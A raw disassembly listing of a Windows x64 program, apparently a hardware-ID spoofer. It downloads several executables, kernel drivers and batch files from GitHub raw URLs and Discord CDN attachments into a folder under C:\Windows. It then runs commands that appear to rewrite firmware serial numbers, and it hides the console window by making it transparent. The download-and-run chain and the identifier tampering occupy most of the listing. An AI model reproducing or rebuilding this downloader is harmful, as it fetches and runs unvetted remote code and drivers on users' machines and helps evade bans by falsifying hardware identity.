cmp qword [rbp + 0x2a0], 0x10
setae byte [rsp + 0x65]
mov rax, qword [rbp + 0x288]
jb 0x140009b2e
mov rdx, rax
mov rcx, rax
mov rbx, rax
jmp 0x140009b38
mov rbx, rcx
lea rdx, [rbp + 0x288]
mov rdi, qword [rbp + 0x298]
add rdi, rdx
cmp rcx, rdi
je 0x140009b81
mov qword [rsp + 0x40], 1
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140009b50
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 0x40], rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov qword [rsp + 0x68], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], rsi
mov qword [rbp + 0x220], rsi
mov r8d, 0x46
lea rdx, str.https:__github.com_kakaoscsiga1245_asdd135sad_raw_main_AMIDEWINx64.EXE
lea rcx, [rbp + 0x208]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x448], xmm0
mov qword [rbp + 0x458], rsi
mov qword [rbp + 0x460], rsi
mov r8d, 0x40
lea rdx, str.https:__github.com_kakaoscsiga1245_fjgn_raw_main_goblinontop.exe
lea rcx, [rbp + 0x448]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rsi
mov qword [rbp + 0x200], rsi
mov r8d, 0x45
lea rdx, str.https:__github.com_kakaoscsiga1245_asdd135sad_raw_main_AMIFLDRV64.SYS
lea rcx, [rbp + 0x1e8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], rsi
mov qword [rbp + 0x180], rsi
mov r8d, 0x5a
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1149061050315067402_entries.bat
lea rcx, [rbp + 0x168]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
mov qword [rbp + 0x1d8], rsi
mov qword [rbp + 0x1e0], rsi
mov r8d, Ordinal_79
lea rdx, str.https:__github.com_kakaoscsiga1245_beuhrgbeuhgbeuhrgb_raw_main_Volumeid.exe
lea rcx, [rbp + 0x1c8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], rsi
mov qword [rbp + 0x1c0], rsi
mov r8d, 0x49
lea rdx, str.https:__github.com_kakaoscsiga1245_beuhrgbeuhgbeuhrgb_raw_main_devcon.exe
lea rcx, [rbp + 0x1a8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], rsi
mov qword [rbp + 0x240], rsi
mov r8d, Ordinal_79
lea rdx, str.https:__github.com_kakaoscsiga1245_beuhrgbeuhgbeuhrgb_raw_main_changer.exe
lea rcx, [rbp + 0x228]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x438], rsi
mov qword [rbp + 0x440], rsi
mov r8d, 0x63
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1149039548886695967_Zenonite_Cleaner.bat
lea rcx, [rbp + 0x428]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x408], xmm0
mov qword [rbp + 0x418], rsi
mov qword [rbp + 0x420], rsi
mov r8d, 0x5e
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1148657397368356864_DiskMapper2.exe
lea rcx, [rbp + 0x408]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x468], xmm0
mov qword [rbp + 0x478], rsi
mov qword [rbp + 0x480], rsi
mov r8d, 0x59
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1148657397687144458_Disk12.sys
lea rcx, [rbp + 0x468]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], rsi
mov r8d, Ordinal_30
lea rdx, str.C:Windows_securitydatabase_
lea rcx, [rbp + 0x148]
call fcn.140001ae0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rbx, qword [rbp + 0x158]
sub rax, rbx
cmp rax, 0xf
jb 0x14000dc67
lea r15, [rbp + 0x148]
cmp qword [rbp + 0x160], 0x10
setae r12b
mov byte [rsp + 0x30], r12b
mov r13, qword [rbp + 0x148]
cmovae r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rsi
lea r14, [rbx + 0xf]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x88]
lea eax, [rdi + 7]
lea rdx, [rdi - 0x10]
cmp r14, rdi
jbe 0x140009fb4
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x140009f52
mov rdi, rcx
jmp 0x140009f59
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140009f9c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc6d
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140009f95
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140009fad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140009fab
call fcn.140074d50
mov rsi, rax
jmp 0x140009fad
xor esi, esi
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.AMIDEWINx64.EXE]
movsd qword [rbx + rsi], xmm0
mov eax, dword [0x1400876d8]
mov dword [rbx + rsi + 8], eax
movzx eax, word [0x1400876dc]
mov word [rbx + rsi + 0xc], ax
movzx eax, byte [0x1400876de]
mov byte [rbx + rsi + 0xe], al
mov byte [rsi + r14], 0
lea r15, [rbp + 0x148]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
xor eax, eax
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1a0], rax
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x188]
cmp r14, rdi
jbe 0x14000a0c6
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x14000a05b
mov rdi, rcx
jmp 0x14000a068
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14000a0b2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc73
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000a0ab
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000a0bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000a0bc
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x198], r14
mov qword [rbp + 0x1a0], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.goblinontop.exe]
movsd qword [rsi + rbx], xmm0
mov eax, dword [0x1400876e8]
mov dword [rsi + rbx + 8], eax
movzx eax, word [0x1400876ec]
mov word [rsi + rbx + 0xc], ax
movzx eax, byte [0x1400876ee]
mov byte [rsi + rbx + 0xe], al
mov byte [rsi + r14], 0
lea r15, [rbp + 0x148]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xor eax, eax
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x140], rax
lea r14, [rbx + 0xe]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x128]
cmp r14, rdi
jbe 0x14000a1dc
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x14000a171
mov rdi, rcx
jmp 0x14000a17e
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14000a1c8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc79
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000a1c1
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000a1d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000a1d2
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x138], r14
mov qword [rbp + 0x140], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.AMIFLDRV64.SYS]
movsd qword [rbx + rsi], xmm0
mov eax, dword [0x1400876f8]
mov dword [rbx + rsi + 8], eax
movzx eax, word [0x1400876fc]
mov word [rbx + rsi + 0xc], ax
mov byte [rsi + r14], 0
lea r15, [rbp + 0x148]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xor eax, eax
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], rax
lea r14, [rbx + 0xb]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0xa8]
cmp r14, rdi
jbe 0x14000a2e7
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x14000a27c
mov rdi, rcx
jmp 0x14000a289
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14000a2d3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc7f
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000a2cc
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000a2e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000a2dd
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xc0], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.entries.bat]
movsd qword [rbx + rsi], xmm0
movzx eax, word [0x140087708]
mov word [rbx + rsi + 8], ax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbx + rsi + 0xa], al
mov byte [rsi + r14], 0
lea r12, [rbp + 0x148]
cmp byte [rsp + 0x30], 0
cmovne r12, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xor eax, eax
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], rax
lea r15, [rbx + 0xc]
mov esi, reloc.WS2_32.dll_ntohs
lea rdi, [rbp + 0x108]
cmp r15, rsi
jbe 0x14000a3f5
mov rsi, r15
or rsi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rsi, rcx
jbe 0x14000a38a
mov rsi, rcx
jmp 0x14000a397
cmp rsi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rcx
mov rcx, rsi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14000a3e1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc85
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000a3da
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000a3ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000a3eb
call fcn.140074d50
mov rdi, rax
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x120], rsi
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.Volumeid.exe]
movsd qword [rdi + rbx], xmm0
mov eax, dword [0x140087718]
mov dword [rdi + rbx + 8], eax
mov byte [rdi + r15], 0
lea r12, [rbp + 0x148]
cmp byte [rsp + 0x30], 0
cmovne r12, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xor eax, eax
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x100], rax
lea r15, [rbx + 0xa]
mov esi, reloc.WS2_32.dll_ntohs
lea rdi, [rbp + 0xe8]
cmp r15, rsi
jbe 0x14000a4f6
mov rsi, r15
or rsi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rsi, rcx
jbe 0x14000a48b
mov rsi, rcx
jmp 0x14000a498
cmp rsi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rcx
mov rcx, rsi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14000a4e2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc8b
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000a4db
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000a4ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000a4ec
call fcn.140074d50
mov rdi, rax
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], rsi
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.devcon.exe]
movsd qword [rdi + rbx], xmm0
movzx eax, word [0x140087728]
mov word [rdi + rbx + 8], ax
mov byte [rdi + r15], 0
lea r15, [rbp + 0x148]
movzx r12d, byte [rsp + 0x30]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xor eax, eax
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], rax
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0xc8]
cmp r14, rdi
jbe 0x14000a5f9
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x14000a58e
mov rdi, rcx
jmp 0x14000a59b
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14000a5e5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc91
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000a5de
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000a5f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000a5ef
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0xc8], rsi
mov qword [rbp + 0xd8], r14
mov qword [rbp + 0xe0], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.changer.exe]
movsd qword [rsi + rbx], xmm0
movzx eax, word [0x140087738]
mov word [rsi + rbx + 8], ax
movzx eax, byte [0x14008773a]
mov byte [rsi + rbx + 0xa], al
mov byte [rsi + r14], 0
lea r8, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r8, qword [rbp + 0x88]
lea rdx, [rbp + 0x208]
cmp qword [rbp + 0x220], 0x10
cmovae rdx, qword [rbp + 0x208]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000a68e
lea rdx, str.Failed_to_download_sgsgsgsdg.EXE.
jmp 0x14000a85a
lea r8, [rbp + 0x128]
cmp qword [rbp + 0x140], 0x10
cmovae r8, qword [rbp + 0x128]
lea rdx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae rdx, qword [rbp + 0x1e8]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000a6dc
lea rdx, str.Failed_to_download_dhdfhdfhdh.SYS.
jmp 0x14000a85a
lea r8, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae r8, qword [rbp + 0xa8]
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rdx, qword [rbp + 0x168]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000a72a
lea rdx, str.Failed_to_download_hdfh.bat.
jmp 0x14000a85a
lea r8, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae r8, qword [rbp + 0xa8]
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rdx, qword [rbp + 0x168]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000a778
lea rdx, str.Failed_to_download_jztjtjztzj.bat.
jmp 0x14000a85a
lea r8, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae r8, qword [rbp + 0x108]
lea rdx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0x10
cmovae rdx, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000a7c6
lea rdx, str.Failed_to_download_hrthrthr.exe
jmp 0x14000a85a
lea r8, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae r8, qword [rbp + 0xe8]
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rdx, qword [rbp + 0x1a8]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000a811
lea rdx, str.Failed_to_download_jztjtjt.exe
jmp 0x14000a85a
lea r8, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae r8, qword [rbp + 0xc8]
lea rdx, [rbp + 0x228]
cmp qword [rbp + 0x240], 0x10
cmovae rdx, qword [rbp + 0x228]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000a87b
lea rdx, str.Failed_to_download_bvcbfh.exe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000d3e8
lea rcx, [rbp + 0x348]
call fcn.140004a60
nop
lea rcx, [rbp + 0x3e8]
call fcn.140004a60
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x68]
call fcn.140004890
nop
mov r14, qword [rbp + 0x98]
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, r14
cmp rax, 9
jb 0x14000dc97
lea r15, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r15, qword [rbp + 0x88]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xor r13d, r13d
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
lea rsi, [r14 + 9]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp + 0x48]
cmp rsi, rbx
jbe 0x14000a97e
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14000a911
mov rbx, r12
jmp 0x14000a91e
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000a968
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc9d
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000a961
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000a97a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000a977
call fcn.140074d50
mov rdi, rax
jmp 0x14000a97a
mov rdi, r13
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.__su_auto]
movsd qword [rdi + r14], xmm0
movzx eax, byte [reloc.WS2_32.dll_WSAGetLastError]
mov byte [rdi + r14 + 8], al
mov byte [rdi + rsi], r13b
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rcx, qword [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x40]
call fcn.140004890
mov rbx, rax
lea rax, [rbp + 0x68]
cmp rax, rbx
je 0x14000aa4c
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14000aa1b
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aa16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aa80
call fcn.140074d8c
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000aa8c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aa87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aa87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov rsi, qword [rbp + 0x98]
mov rax, r12
sub rax, rsi
cmp rax, 6
jb 0x14000dca3
lea r15, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r15, qword [rbp + 0x88]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r14, [rsi + 6]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x40]
cmp r14, rbx
jbe 0x14000ab5b
mov rbx, r14
or rbx, 0xf
cmp rbx, r12
jbe 0x14000aaf0
mov rbx, r12
jmp 0x14000aafd
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000ab44
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dca9
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000ac3c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000ab56
test rcx, rcx
je 0x14000ab53
call fcn.140074d50
mov rdi, rax
jmp 0x14000ab56
mov rdi, r13
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str.__PSN]
mov dword [rdi + rsi], eax
movzx eax, word [0x140087940]
mov word [rdi + rsi + 4], ax
mov byte [rdi + r14], 0
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.140010c20
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x14000ac00
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000abfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000abfb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
movups xmmword [rbp + 0x48], xmm6
movups xmmword [rbp + 0x58], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000ac48
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ac43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
